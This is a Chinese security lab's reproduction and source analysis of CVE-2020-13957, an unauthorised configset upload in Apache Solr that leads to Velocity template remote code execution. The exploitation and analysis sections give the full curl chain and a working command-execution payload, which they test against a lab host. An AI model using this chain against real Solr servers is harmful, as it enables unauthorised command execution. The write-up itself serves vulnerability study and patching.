01
![7a4e15ac2d574a4db16720a578cb4bd7.png](https://i-blog.csdnimg.cn/blog_migrate/57033c3d2d1ce78a74abe7175f9bd2f9.png)
漏洞简介
漏洞名称:Apache Solr 未授权上传漏洞(CVE-2020-13957)的复现分析
漏洞编号:CVE-2020-13957
漏洞类型:未授权上传
危害等级:高危
影响范围:Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2
02
![7a4e15ac2d574a4db16720a578cb4bd7.png](https://i-blog.csdnimg.cn/blog_migrate/57033c3d2d1ce78a74abe7175f9bd2f9.png)
组件概述
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
Solr可运行在SolrCloud(分布式集群模式)和StandaloneServer(独立服务器模式)两种模式下,当以SolrCloud模式运行时,可通过Configset API 操作Configsets,包括创建、删除等。
03
![7a4e15ac2d574a4db16720a578cb4bd7.png](https://i-blog.csdnimg.cn/blog_migrate/57033c3d2d1ce78a74abe7175f9bd2f9.png)
漏洞概述
对于通过ConfigsetAPI 执行UPLOAD时,如果启用了身份验证(默认未开启),且该请求通过了身份验证,Solr会为该configset的设置“trusted”,否则该配置集不会被信任,不被信任的configset无法创建collection。
但当攻击者通过UPLOAD上传configset后,再基于此configset 创建 configset时,Solr不会为这个新的configset进行信任检查,导致可以使用未经信任检查的新configset创建collection。
同时,Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。
04
![7a4e15ac2d574a4db16720a578cb4bd7.png](https://i-blog.csdnimg.cn/blog_migrate/57033c3d2d1ce78a74abe7175f9bd2f9.png)
环境搭建
下载solr-8.0.0
http://archive.apache.org/dist/lucene/solr/8.0.0/
在下载好的solr下bin目录打开cmd执行
solr.cmd start -c
启动SolrCloud,由结果得知对应端口为8983。
外部访问http://192.168.240.130:8983/,可正常访问。
05
![7a4e15ac2d574a4db16720a578cb4bd7.png](https://i-blog.csdnimg.cn/blog_migrate/57033c3d2d1ce78a74abe7175f9bd2f9.png)
漏洞利用
下载源码,将\server\solr\configsets_default\conf目录下的solrconfig.xml文件中params.resource.loader.enabled的值设置为true,conf目录下所有文件打包成一个压缩文件。
通过上传API将zip上传,命名configset为“config1”。
Curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf.zip "http://192.168.240.130:8983/solr/admin/configs?action=UPLOAD&name=config1"
以前面上传的“config1”的配置为模板,创建一个新的配置集“config2”,绕过不能通过直接UPLOAD创建collection的限制。
curl "http://192.168.240.130:8983/solr/admin/configs?action=CREATE&name=config2&baseConfigSet=config1&configSetProp.immutable=false&wt=xml&omitHeader=true"
根据CREATE得到的新配置集“config2”创建恶意collection,名为“hack_collection”。
curl "http://192.168.240.130:8983/solr/admin/collections?action=CREATE&numShards=1&name=hack_collection&collection.configName=config2"
我们可以利用已上传的collection进行远程命令执行,此处执行命令“whoami”,由返回结果可知攻击成功,由此实现了远程命令执行的攻击。
http://192.168.240.130:8983/solr/hack_collection/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
06
![7a4e15ac2d574a4db16720a578cb4bd7.png](https://i-blog.csdnimg.cn/blog_migrate/57033c3d2d1ce78a74abe7175f9bd2f9.png)
漏洞分析
系统对应的执行jar包为“solr-core-8.0.0.jar”。
我们接下来从攻击poc入手,配合源码查看攻击是如何实现的。
我们进行第一步攻击:
Curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf.zip "http://192.168.240.130:8983/solr/admin/configs?action=UPLOAD&name=config1"
当传入zip配置文件时,会调用getTrusted函数进行判断是否允许创建,该配置对应的node:
org.apache.solr.handler.admin.ConfigSetsHandler。
虽然该配置文件集会被标记成未授信,但仍然会被写入到服务器中。
所以我们第一步上传的配置集config1会被写入到服务器中。
我们查看http://192.168.240.130:8983/solr/#/~cloud?view=tree
可以在配置集中看到config1,其中的关键配置“params.resource.loader.enabled”已按我们事先的配置设置为“true”
而后我们跟进第二步攻击:
curl "http://192.168.240.130:8983/solr/admin/configs?action=CREATE&name=config2&baseConfigSet=config1&configSetProp.immutable=false&wt=xml&omitHeader=true"
跟进到判定点org.apache.solr.handler.admin.ConfigSetsHandler。
该操作是以我们刚刚传入的配置集“config1”为模板,创建新的模板,命名为“config2”。
跟进copyPropertiesWithPrefix此处会通过configSetProp.前缀,筛选对应的CREATE配置。
值得注意的是此处CREATE这一步在通过母版创建子版的时候是不会调用getTrusted函数进行校验的,故而通过这样的步骤创建的新配置集不会被标记为“未授信”。
而在受影响版本范围外,比如下图的colr v8.7.0,我们可以看到是增加了函数“isTrusted”的调用以进行授信检查(函数isTrusted在v8.7.0中等价于getTrusted函数的功能)。
发送此攻击后,我们访问系统,我们可以看到配置集“config2”也被成功创建,而且其中的关键配置“params.resource.loader.enabled”也已按我们事先的配置设置为“true”。
随后我们跟进下一步攻击:
curl "http://192.168.240.130:8983/solr/admin/collections?action=CREATE&numShards=1&name=hack_collection&collection.configName=config2"
跟进此步攻击的对应执行代码:
org.apache.solr.cloud.api.collections.CreateCollectionCmd
跟进到call函数,这个函数较长,大致作用就是创建collection并判断选用的是哪个configsets,最后刷新collection的列表。
通过这一系列的操作最后就能够生成新的collection,即配置被加载。
我们查看页面:
http://192.168.240.130:8983/solr/#/~collections
可以看到新增了一个名为“hack_collection”的collection,而且该collection对应的“configName”为设置了“params.resource.loader.enabled”为“true”的“config2”。由此攻击者可以利用创建的collection,调用solr组件进行远程代码执行。
07
![7a4e15ac2d574a4db16720a578cb4bd7.png](https://i-blog.csdnimg.cn/blog_migrate/57033c3d2d1ce78a74abe7175f9bd2f9.png)
修复建议
升级到最新版本:http://archive.apache.org/dist/lucene/solr/
08
![7a4e15ac2d574a4db16720a578cb4bd7.png](https://i-blog.csdnimg.cn/blog_migrate/57033c3d2d1ce78a74abe7175f9bd2f9.png)
参考链接
https://issues.apache.org/jira/browse/SOLR-14663
https://github.com/apache/lucene-solr/commit/8f2f80bbb3c35fef036dce3162f4f03bf465e5f2
![380b2d969f982f294d891b74f9f6a022.png](https://i-blog.csdnimg.cn/blog_migrate/3eb10f677f71ab30e6d1c2a28477d314.png)
点个在看 你最好看
![380b2d969f982f294d891b74f9f6a022.png](https://i-blog.csdnimg.cn/blog_migrate/3eb10f677f71ab30e6d1c2a28477d314.png)
关于我们
极目安全实验室(JmLab)由中国网安·广州三零卫士成立,汇聚多名安服专家,主要服务于广东省各级党政机关,深耕安全服务、数据保护、病毒分析、威胁狩猎等安全领域。主要旨在为客户提供安全运营服务,通过运营驱动安全体系建设,护航数字经济发展。